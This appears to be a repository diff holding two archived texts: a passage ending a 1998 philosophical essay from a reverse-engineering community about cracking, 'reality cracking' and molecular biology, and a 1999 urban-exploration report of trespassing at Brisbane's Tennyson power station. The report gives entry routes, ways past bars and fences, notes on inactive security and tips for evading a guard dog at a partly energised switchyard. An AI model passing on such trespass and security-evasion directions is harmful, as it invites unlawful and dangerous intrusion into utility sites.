frequently flawed versions of it operating in various + brains. This is where information theory can chop away the crap. The down + side of science is that it doesn't provide any comfort against the nasty + realities of the universe. It says, when you die, you're dead. It says that + the universe was not created for us, and that we are accidents. These are + not comforting words for the average juvenile chimp to hear. + + > We must remember that much of what we have are THEORIES. Even though + > we have stuff that works and is based off of the theories, the fact + > that the stuff works doesn't necessarily mean that the theory is a + > correct representation of an aspect of the Universe. + +If you'll permit me... it nevertheless explains much more than everything +else, and if experimentally testable reality supports the theory, that tells +you the theory is on the right track. + +> Have you ever stopped to marvel at the fact that your computer +> actually works? + +I certainly get this feeling when I see a Wintel Win98 P200 running. ;-) + +> When you consider all the issues as a whole, it seems that it must be +> a ridiculous mistake. Microprocessors: the "wires" are so close +> together and so thin that the travel of electrons can actually make +> the wires start to move...electrons can jump...transistors don't have +> nice distinct spikes... it is more like a curve...when the voltage is +> reduced, this problem gets worse. Then we have fluctuations in the +> power source...what about hard drives? The data is packed so closely +> on the platter that it merges together...to bastardize the problem, a +> 01110 could end up looking like 1 to the head...the computer must +> essentially puzzle out what is really stored there...if you look at it +> directly it would look like white noise...the new HDs will have their +> very own Pentiums to deal with this problem... + + Crude, compared to the data processing occurring right now in every + cell in your body. Every cell you are comprised of has 3x10^9 DNA base pairs + in it - a complete biochemical blueprint of how to build and run you. You have + tens of thousands of ribosomes - molecular finite state machines - running + in every one of your cells as you read this. You have millions of millions of + cells, so you're pumping a lot of molecular-level computational grunt there. The + underlying laws of mathematics are the same for digital signal processing + and molecular information processing. + + >So, if you ask a physicist, he will say that our computers shouldn't + > work. But somehow, we've tricked the Universe into letting us make + > them...But I am on a tangent. + + You're also wrong. Ask a good solid state physicist and he'll tell you + they should, and then he'll tell you how they do, and maybe he'll even + tell you that we modify silicon _nuclei_ to do it. Solid state physics is + no trick. It just looks that way if you can't handle the math, and we've + been subtly conditioned to think that sufficiently advanced technology is + indistinguishable from magic. + +> An Appeal to Authority +> I mentioned Plato and Orwell above. Let me support those assertions. +> Remember Plato's cave? + +I had this trick pulled on me by a catholic priest, I've waited a long time +to have a shot back at it. Suck my 50-calibre, Plato, I've had a long time +thinking about this one.... + + > Suppose there is a person who is sitting inside a cave and watching + > shadows dance on the wall of the cave. This is the only thing that he + > can perceive. For that person, because the shadows form the whole of + > his perception, that is Reality. But because his perception is false + > and limited, he fails to realize that just above and behind him there + > are other people dancing around a fire which casts shadows onto the + > wall below that he is looking at. + + It irritates the hell out of me that people just say "Plato said X" and + that this is automatically seen as an excuse to not think the situation through. + Humans are more than a set of eyes, and they can test their own perception. + Gendankenexperiments are there for the doing. In the glimmer of the reflected + firelight, he'd see the shadow of his own thumb on himself, its shape slowly + changing as he moved his thumb around relative to his chest upon which the + dim shadow of his moving, illuminated thumb would appear. He might think + that the laws governing these shadows were similar, unless, of course, he + is Plato and too stupid to think of these obvious reality perception tests. + Yes, our perceptions have limits, and they are often false. This does not + require of us that all the deductions we make about them be necessarily + false either. Especially if we get a clue about what to look for from other + systems running the same physical laws. Modelling is not always a first + derivative. + + The cave sitter could certainly have sussed out something like the inverse + square law by, say, looking at how much of his field of view his thumbnail + took up depending on how far away from his eye it was. Try it now: close up + thumb looks huge, far away thumb looks small. Thumb _feels_ same, so maybe it + didn't change size. Maybe my perception of my thumb is governed by some rule... + + Oh and look, the shadow my thumb casts is very similar to thumb size the + closer it is to the surface on which the shadow is cast. Shadow grows when + thumb is closer to the light. Shadow moves when I flex my thumb. Hey, what's + going on is there's some light source, and somewhere between it and the wall + there's something moving. My thumb shadow looks pretty wonky when I throw it + on my toes, which are lumpy, but the shadow looks like my thumb when it + lands upon my flat chest.... does this tell me that the wall over there is + somehow wonky like my toes, and thus it messes around with shadows, so I + know what's going on but I can't view it any better down here in the + cave... the flickering light and the lumpy damn wall's messing it up. + Sure, we do not see in ultraviolet, cannot detect earth's magnetic field. + This doesn't mean we are forever condemned to remain ignorant thereof. + BTW, there are animals which can do this (bees and pigeons, respectively). + +> This is not a direct support of what I'm saying, but it is pretty damn +> close. Basically he is talking about the Realization that humans can +> have that what we see is a product of what we think we know. + + Of course. It is only when an information system understands the nature of + information - not whatever information it happens to be processing, but the + nature of information in general - that it becomes enlightened, and able to + self-debug and self-recode. Most will never do this. It is from here that + detachment from one's thoughts becomes possible. I think this has some + significance for +Fravia's allusions to Zen, or at least straight Buddhism. + thinks Godel's proof of mathematical inconsistency is the canonical + example. + + > In 1984 Orwell explicitly mentioned the Paradigm concept. In the + > novel, he constructed a "giant conspiracy" in which the elite imposed + > their own Paradigm on the world. People who live outside the accepted + > Paradigms are in powerful positions...and consequently they have + > enemies...anyway, the story takes place a long time since the + > conspiracy was implemented. Basically the story is about the + > conspiracy's self-regulation method kicking into effect. There will + > always be humans who question, and in this situation they were + > betrayed and crushed. But the "big bad guy" (name?) + + Emmanuel Goldstein, and I don't mean the dude at 2600 magazine ;-) + It is interesting to note that deliberate conspiracies, as well as + any systems which accidentally bring advantage to themselves, towards + the same endpoints - increase of power, size and influence. + + > tells the hero the truth about the conspiracy right before he is + > crushed. The hero learns that life wasn't always like it is now, and + > that the whole situation was constructed to keep the world in stasis. + > He learns that occasionally people like him begin to question Reality, + > but they are easily discovered by the Betrayer and his ilk. + > Anyway, the ideas I present here aren't mine. I've gleaned them from + > other writers, etc. Possibly make take on the issue is new. There are + > all sorts of philosophers who are basically restating the same thing + > in different ways... + +You've done very well. You're *waaaay* up the smart end of the Poisson curve. + +> On Cracking +> Below I attempt to unearth an underlying motive for why +ORC is so +> interested in Reality Cracking. Why did he wait for so long before +> bringing this topic up? Why mention it at all (as opposed to sticking +> with "pure" cracking)? +> Shall I be vague and fictionalesque for a moment? + +virtual reality mode (on) + +> Enjoy: +> So, there's this website that I've found that's really wonderful. +> There are some people who think like me and they're also computer +> experts. They "crack" things...but the cracking thing isn't the truly +> special part. Cracking is an awesome skill, and doing the exercises +> will certainly help become a better Reality Cracker in general, but +> I've never been one for doing exercises...so why is this site so +> great? +> Well there's this "entity" who is a master. His amount of skill +> demands that he hide himself thoroughly. He wants to share his +> knowledge with others (lonely to be alone?) so he gets some students. +> They are his most advanced and he only talks to them occasionally and +> sporadically. +> They don't know who he is. So anyway this entity writes some tutorials +> for his students. They learn and become really good. They create a +> whole "virtual" (ack! Media word. :) academy where they discuss and +> feed off each other. He is happy with this but it is taking a life of +> its own. + +..a phrase diagnostic that you have some awareness of the nature of information. +It isnt taking a life of its own... it --IS-- a lifeform, using him for the +purpose of exploration and the others in the group as a data source. + +> What he really wants to do is get people to think like him. + + From the meme point of view: his memes wish to propagate but they need him + to build a funnel to catch prospective adepts (this site), and sieve them + for adeptitude (the strainers). Or perhaps just to trawl for those who + already do think like him. We are rare in this world. + + > How do I know this? Well he is writing/began to write letters to his + > (principal?) students (who published some of it) where he is talking + > about the same stuff. The cracking thing was just a way to get there. + > (a necessary way? I don't know.) + > Why did the master choose cracking? Well computers/ Internet can be + > viewed as a metaphor for Reality. Say that what exists on the internet + > (the set of Omega) is the true reality. + + +"Push technology" happened, accidentally, in biology. Chloroplasts poisoned +many organisms to extinction, but provided a fuel for new organisms. That +poison, that fuel - was oxygen. You are living on the waste products of +plants. The breakthrough technology was photosynthesis, which uses quantum +tunnelling to achieve charge separation, getting energy from light. It was +beneficial to some organisms to be able to make energy from light, +but the ecosystem didn't know this, nor did the bacteria who could do it. + +Where do the crackers fit into this? They're live data structures which seek +to understand and benefit other data structures. Most of you understand the +informational nature of your own being, I suspect, although by proxy, and in +the languages of Assembler, or C... not the language of molecular signal +processing or gene regulation or neural net systems of which you are +comprised. + +Moore's Law, like any law which says growth is infinite, will eventually +cease to hold true. Microsoft will eventually die, though this might take +a long time... there are corporations out there, such as Rothschilds, +which have lasted 500 years... there are other memesystems, like Islam, +and Judaism, which have existed for a couple of millennia. There are +copies of sequences of DNA which have existed since the dawn of life... +we find them in the oldest, simplest organisms. These codes did not protect +their hosts from eventual obsolescence, but the code remains. + +Had the soon-to-be-extinct anaerobes been able to comprehend this, they'd +have been disgusted too. But this was all a blind, accidental process. +Computer technology evolution, regardless of how "purposeful" it appears, +is precisely the same. The best systems are not always the ones which +survive... remember the Lisa from Apple? The 80n8sux segment:offset address +architecture is a spectacular example of fuckwitness, yet it prevails in the +marketplace. (There is a good book you should read, Accidental Empires by +Robert X Cringely.) Why? It does something useful for lots of people. It, +like biological life, need not be elegant, it need only work, and work better +than things with which it competes on several criteria. Humanity has dead +code in it... we get scurvey because our copy of the gene for making vitamin +C is broken. We get folate deficiency for similar reasons. We age and die +because our cell-copying mechanisms are lossy, chunks of our chromosomes +(which contain DNA coding for the enzymes which do important chemical +functions) get lost with each cell copy/iteration. Only our gametes (sperm +and eggs), as well as particular immortal tumor cell types, possess +Telomerase, which stops this degradation. The data in our genes doesn't know +or care that the carriers it builds are programmed to rot, regardless of the +suffering that entails... and you thought Micro$oft was crippleware! + +> Say that what we see in the Western Paradigm is what is given to us +> through Yahoo, CNN, Micro$oft, and Pointcast (especially. The whole +> idea of push technology is especially revolting). Say that when one +> cracks one is performing the act of seeking the Truth. + +yes... seeking one version of some truth... + +> For example, this web site teaches how to search the web well, more +> specifically, it shows the reader that there are other methods besides +> www search engines to do it. It doesn't actually TEACH you how to +> search. (that seems to be changing, however.) Why? Because the author +> is struggling with the question of how obvious he should make his +> material. He seems to have settled on the idea of a "brain activity +> pre-requisite" but that level isn't defined and thus it fluctuates +> depending on what you read. + +I mentioned the seives... + +> Anyway, the results you get from each different way of searching the +> web are like different Paradigms. They all overlap somewhat and to +> find interesting results you perform "set operations" on the results. +> The only way this works is to be outside any particular Paradigm so +> that you know that the others that don't overlap with yours exist at +> all. + +Yes! + +> Now lets look at cracking more specifically. There are the creators of +> the program, there are the crackers, there are the programs +> themselves, there are the protection schemes, and there are the cracks. +> Going back to the Orwell example, the programmers are the +> conspirators. Their program is the Paradigm. Their protection method +> is the self-regulation scheme (thought police). The crackers are the +> heroes. The cracks are what Orwell didn't have; the heroes were +> destroyed in his book. In his world, the heroes started off at a lower +> level than the crackers of the academy. The heroes had to first +> recognize that there was a Paradigm at all, then they had to crack it. +> But in this situation Orwell created the "uncrackable protection +> scheme" and the heroes were crushed before they began the actual +> crack. Now back to cracking as a metaphor. Every exercise that is published, +> every essay written, and every strainer is a metaphorical exercise for +> cracking a Paradigm. You have to search through the various programs +> until you find a new protection method. Then you use the skills and +> intuition that you've developed thus far to crack this new method. The +> mentality required to solve these types of problems is EASILY mapable +> onto the real world. + +Yes, QED. + +> IMHO this is why the master chose cracking as the way. (besides the +> fact that he is damn good at it and it is especially appropriate for +> our contemporary situation.) + +I am nevertheless curious what s/he/it seeks... +The zen you seek is not the True Zen. The True Zen is not the destination, +it is revealed on the journey to the destination. + +> On Those Who Seek the Truth +> There are people out there who've completely quit the mainstream +> reality model and are living on the outside. (+ORC being one of them). +> They actively try to keep as open as possible, that way hoping the be +> in a receptive enough state to get a glimpse at the "Truth." + + Also I, though I keep my meme-filters up. In many ways, I'm caught in the + machine, strapped to the same biochemical rails as all the other humans out + there. Eating shits me. Sleeping shits me. I wish I didn't have to maintain + this carcass, house it, clothe it, and shut it down for a quarter of its + operational time. The rareness of serious intelligence shits me. All my + neighbors are dopey... they are into V8 engines, or TV serials, or Sports + Illustrated. NONE of them even possess the vocabulary to understand computing. + One of them reckons you can eradicate a virus by turning the computer off... + he also reckons that injecting powdered rocks from the moon will cure AIDS. + +> There are various established Ways to seek the truth that one may use. +> Many of the religions that have become Paradigms in themselves once +> were effective ways. + + Religions often deliberately hide truth, and for many people that's not a + bug, that's a feature. Religions evolved to solve implicitly nasty questions + with uncontestable answers, some of which are really ridiculous. Why are + we susceptilbe to this sort of stuff? Because truth hurts. Mortality, for + instance. + +> Some still can be, but when the religion is part of the larger +> paradigm, it is pretty hopeless. Some methods include first breaking +> from the Paradigm before seeking the truth (like Zen monastaries), and +> others such as cracking + reality cracking only concern themselves +> with breaking away from that Paradigm. + +It's hacking the Self. It all exists in the head, matey, and it is there +that we must self-trawl and patch the code which makes us up. + +> Is it built into our natures to be limited so we can't see it and only +> catch glimpses and shadows, or can we actually get the truth? (There +> are people in the past who've gotten as far as we can get, say Buddha, +> Jesus, the Zen masters...you know, the founders of the great +> religions). + +Not entirely correct. History has warped the story in these cases, which are +often not explicit in their teachings (thereby increasing their audiences) + +> The true question that (I think) the master is leading them toward is +> to tackle the question, "Is it possible for humans to know the Truth?" + +Yes. We _create_ it. We discover representations of it, but ultimately, +it's an artefact in our heads. + +> So, before beginning on this question, he must first get his students +> to remove the gauze from their eyes that humanity puts on itself, so +> that they may see with the maximum ability that humans can see with. +> It is like when a Zen student goes to the monastery and the brothers +> let him stay and mediate...that is us now, and when the brothers grant +> him fellowship, that is breaking from the paradigm...and when the +> brother reaches Zen that is the ultimate goal...for as we have seen +> before, all the philosophies and religions that humans come up with +> are just different approaches spawned from that culture/time which are +> ways of attempting to reach the Truth. + +> finis + +A very perceptive and forward thinking proposition. I'll be most interested +to see what the +sensei(s) have to say about my rant. Probably chuck it in +the good ol' /dev/null oblivion hole. Anyway, for the record: I'm merely a +molecular geneticist, but I want to reverse my *own* DNA one day. Nature also +has her protection systems, and she worked them out long before we appeared. + +She does tricks with data which turn my eyeballs funny. She uses compression, +she uses intercalation-of-code-with-junk to prevent theft, and selective +removal of junk code to yield functional code. I can't begin to tell you how +amazing biochemistry is, but you probably have an inkling of it from hacking, +I think. I was once 65C02 ASM weenie. Noone writes anything for the old 6502 +now do they? It's all stoopid 80?86 (tho the 68000 series had a kinda similar +instruction set, MAC interfaces got in the fucking way all the time!) I gave +asm and puters the arse for a while, then I got into synthetic organic chem, +now I'm playing with the chemistry which powers the brain cells which +think about the chemistry which powers the brain cells which think about the +chemistry which powers the brain cells which think about the chemistry which +powers the brain cells which think about the chemistry which powers the +brain cells which + +*pop* + + A biohack for you: A biotech corp is selling proprietary plasmids (circles + of DNA). These come with code for the construction of an enzyme which + protects bacteria against attack by an expensive antibiotic, which of course + the company also sells. People use the plasmid inside bacteria; to select for + bacteria which have taken in the plasmid, they to grow the bacteria on + food with the poisonous antibiotic in it. So, bacteria with the plasmid in + them live, the rest die. + + It is achievable with much cheaper antibiotics, and an acquaintance had the + shits with this sort of profiteering greed so typical of corporate biotech + beancounter-think. + + So he set a project for one of his students - cut the plasmid with an enzyme + which cut the DNA strand, twice, slightly offset from the ends of the + resistance gene for the costly antibiotic. Then was spliced in, in the same + place, the DNA coding for a really cheap antibiotic. + + That's a simple explanation, and avoids technical crap related to keeping + reading frames, finding compatible cut sites, and DNA ligation protocols. + So, worry not; when Micro$oft, Merck, Novartis, and Mon$anto claim to "own" + strains of plants (absolute freeware-theft, if you ask me!), or "own" + biochemical pathways which are just slight modifications of the natual + biological freeware on this planet, remember, there are molec-bio hackers + out there, silently doing just what you do, but using nucleotide bases, not + logical bits, to do it, and getting no media attention at all either. + + Free the code. + Point an eyeball at Monod, Jaques: "Chance and Necessity", particularly + the "Microscopic Cybernetics" chapter and those successive thereto. + At this point I feel nowhere near the levels of proficiency which would + earn me a --, let alone + from HCU. Compared to hex cracking and reversing, + bio has only very crude tools. We only got PCR to copy specific DNA strands + ten years ago. We can build sequenced DNA, to 100 bases. Whoo-fucking-pee. + Worse, almost none of the people here have any idea why they're doing molbio, + they're zombies... getting them to realise the nature of The System is next + to impossible... they read the newspapers, watch TV, consume, be silent, die. + + I am one of the few who have jettisoned the humanocentricity memesystem, and + I for one have no particular attachment to being harboured in the standard + H.sapiens processor, and would long to exist and evolve in digital form, + effectively immortal. As some of you would understand, I feel somewhat alone, + misunderstood by those with whom I research. Hacking my chassis is a long + way off yet... much to learn, and new tools need to be developed. As it is, + we have lots of things to chop DNA, and join DNA, and even find out what + a sequence is (5'-GAGACTTAGCTTAGGGCTAAAATTCGATCTC-3' for example)... but + we lack decompilers (the Edman degradation is the closest we have) and + similar tools. Retrofitting the billions of pre-existing somatic cells which + comprise my neural accommodation (brain) and its support system (carcass) + is beyond my reach just yet. It is slow work. I have one advantage: the + language is pretty much standard across animals, plants, fungi, bacteria, + etc. One platform, one language... the language in which my platform is + written. Further: viri I write infect the human substrate if I so choose.... + but they need not be destructive. I can write payloads which can lift + burdens from the ill - changing the warheads if you like - and draft old + enemies into allies. The pharmo companies don't like this, because it might + lower the $ they earn from dispensing expensive continual patch-up cures. + + In any case, I wonder if greedy, stoopid humanity deserves this help. + Darwinian selection should be allowed to operate freely. If my suspicions + about distributed systems failure (as a result of the Y2K problem, or if not, + first-order thermodynamic growth restraints like hydrocarbons, fresh water + and arable land) are correct, Darwin will laugh once more, and it will echo + loudly in our ears. + + Reverse + universe = re-uni-verse (to make everything one again). + + Recursion and self-reference make the universe go around. And around. + + A molecular biologist is a genome's way of knowing about genomes. + + It is not accidental that my pseudonym is designated an EBNF notation for + a symbolic object. I bid you code well, brothers and sisters of the + electronic universe. Kind regards to all of you from my desolate, glittering + and intricate universe of molecular meatware. Brevity aside, it is good to + have met you. + + Further questions? Post 'em to <predator@cat.org.au> on +Fravia's site. + + + + <predator> + +(c) 1998 Curious George All rights reversed + +(í) 1998 <predator> kopyrong & umop 3pisdn. Now shutting up/down. + +(c) 1998 Curious George & <predator> All rights reversed + _____________________________________________________________________ +
+ + + diff --git a/tennyson.txt b/tennyson.txt new file mode 100644 index 0000000..bb9f785 --- /dev/null +++ b/tennyson.txt @@ -0,0 +1,95 @@ +File: Tennyson.txt +Cont: The report on the infiltration of the disused Tennyson power station + in Brisbane, by Sydney Clan member 14 May 1999 +See: Il Draino 50th Edition +------------------------------------------------------------------------------ + +Tennyson Power Station - Another Northern Cave Clan Triumph + +During a meeting at an elegant Sydney yacht club with retired Brisbane Cave +Clan member Sheep Feet, was given a clue to the whereabouts of yet +another chunk of the national grid. Sheep Feet mentioned that, during his +employment in a REAL JOB, he became aware that there was a disused power +station not ten minutes by train from the Brisbane CBD. Since was +en-route to the abandoned Hydro Power Station at Kuranda (via the disused +gas-turnine at Rockhampton), he decided he'd have a go at the local offering. + +Entry is via a short walk from Yeerongpilly station to the northeast side of +Softstone St (UBD map 179 F-5) where one climbs over the fence and walks +east along the grassy riverbank towards the riverside edge of the old +brick building, until one hears the loud 50Hz hum of lots of big +transformers. These throbbing juggernauts are behind prison-bar gates, +some of which are warped to permit entry to slimmer Clan members... +larger persons will need to get down and dirty by getting in through the +old coolant pipes which exit into a canal near the river, but this route +is not recommended since this requires mud immersion, and some of these +pipes are meshed to prevent access. These bars could be jacked or pried +by the usual means but be quick, there is not a lot of cover. There is +security on site but it is fairly inactive. There was notification of an +intruder alarm but it doesnt seem to be active in the bulk of the station. + +Once inside, ascend the stairs to what used to be the generator floor. +The six 150 Megawatt generators were similar to, but larger than, the +green giants in the Melbourne station, but they have been removed. Old +tanks, oxy-cut beams, concrete mountains which once cradled massive pumps +and motors adorn the floor. The walls have rails for a 120-ton crane +parked at the west end of the generator hall. All is quiet except for the +occasional pigeon. The understory is dark and and also denuded of +machinery. It's as if the Borg have come and scooped all the machine +elements out of the guts of the building. Eerie that the place should +seem so dead. The offices where the control systems were housed have also +been cleaned out, only the lino remains. The most amazing visage exists +where all the boilers and heat-exchangers have been removed, eight +stories of girders and beams jut and grasp into empty space as if trying +to avoid the rigor mortis which has already overtaken them; industrial +death-throes frozen in time... and it's so VAST. + +Tennyson has not been entirely gutted. Some small areas, clothed in +additional layers of locks, fence mesh, ominous warning signs and coils +of razor wire. remain connected to the grid, and highly energised with +the squillions of kilovolts which run Brisbane. Tennyson is now merely a +switchyard for the juice which comes from the rest of SEQEB's network. I +assumed that any intruder detection system would be focussed on these +spots, so I avoided them and headded up ladders towards the roof. + +Three floors up, what appears to have been the administration area is +locked off with shiny, newly installed steel-bar doors but there didn't +appear to be much of interest beyond them. I lacked lock-picks or a +hacksaw so I used more staircases and reached the lower roof. This level +has amusing doors which, if you walk through them, permit you a six story +plunge to your impact-related death below, but otherwise the entertainment +value is a bit thin. More stairs and ladders take you to the middle roof, +which has the footings to long-removed smokestacks, and holes which look +ten stories down to the sub-basement. From this level one can also access +the elevator shaft motors and also the conveyor belts and hoppers for the +coal loader system, which is now mainly a gigantic pigeon-shit collector. + +Cages ladders lead to the topmost roofs, from where one can see the +Brisbane CBD skyline. You can also see huge alien crop rectangles where +the main smokestacks used to be and, if you're lucky, you can see the +bloody enormous Rottweiler inside the fenced-off compound where the +security guard lives in his caravan. If it isn't inside, be quick and +careful when you leave. + +I tagged-up discretely and left the plant by the same tight squeeze +through which I had come in. Walking east takes you to the electric fence +operated by the DPIE, and walking south along this fence takes you to a +convenient hole where it meets the fence for the railway line. The rottie +has about 500 metres to run from the security compound to this hole and +it will leave you more than enough time to get off the substation campus +before it arrives. There is probably plenty more to explore at this place +before it gets converted to yuppie hi-rise. In all, it's a nice bit of +real estate, well worth the effort of fighting with the Queensland Rail +system to get to it. + +Next issue I'll write about the disused power station at Kuranda. + would like to thank Brisbane Cave Clan man Sheep Feet for his +tip-off. In a business where everyone knows some secret hole in the +ground, but can't tell you where it is, accurate intelligence is always +welcome. + +----------------------------------------------------------------------------- + + Cave Clan Sydney : December 23 1999 + +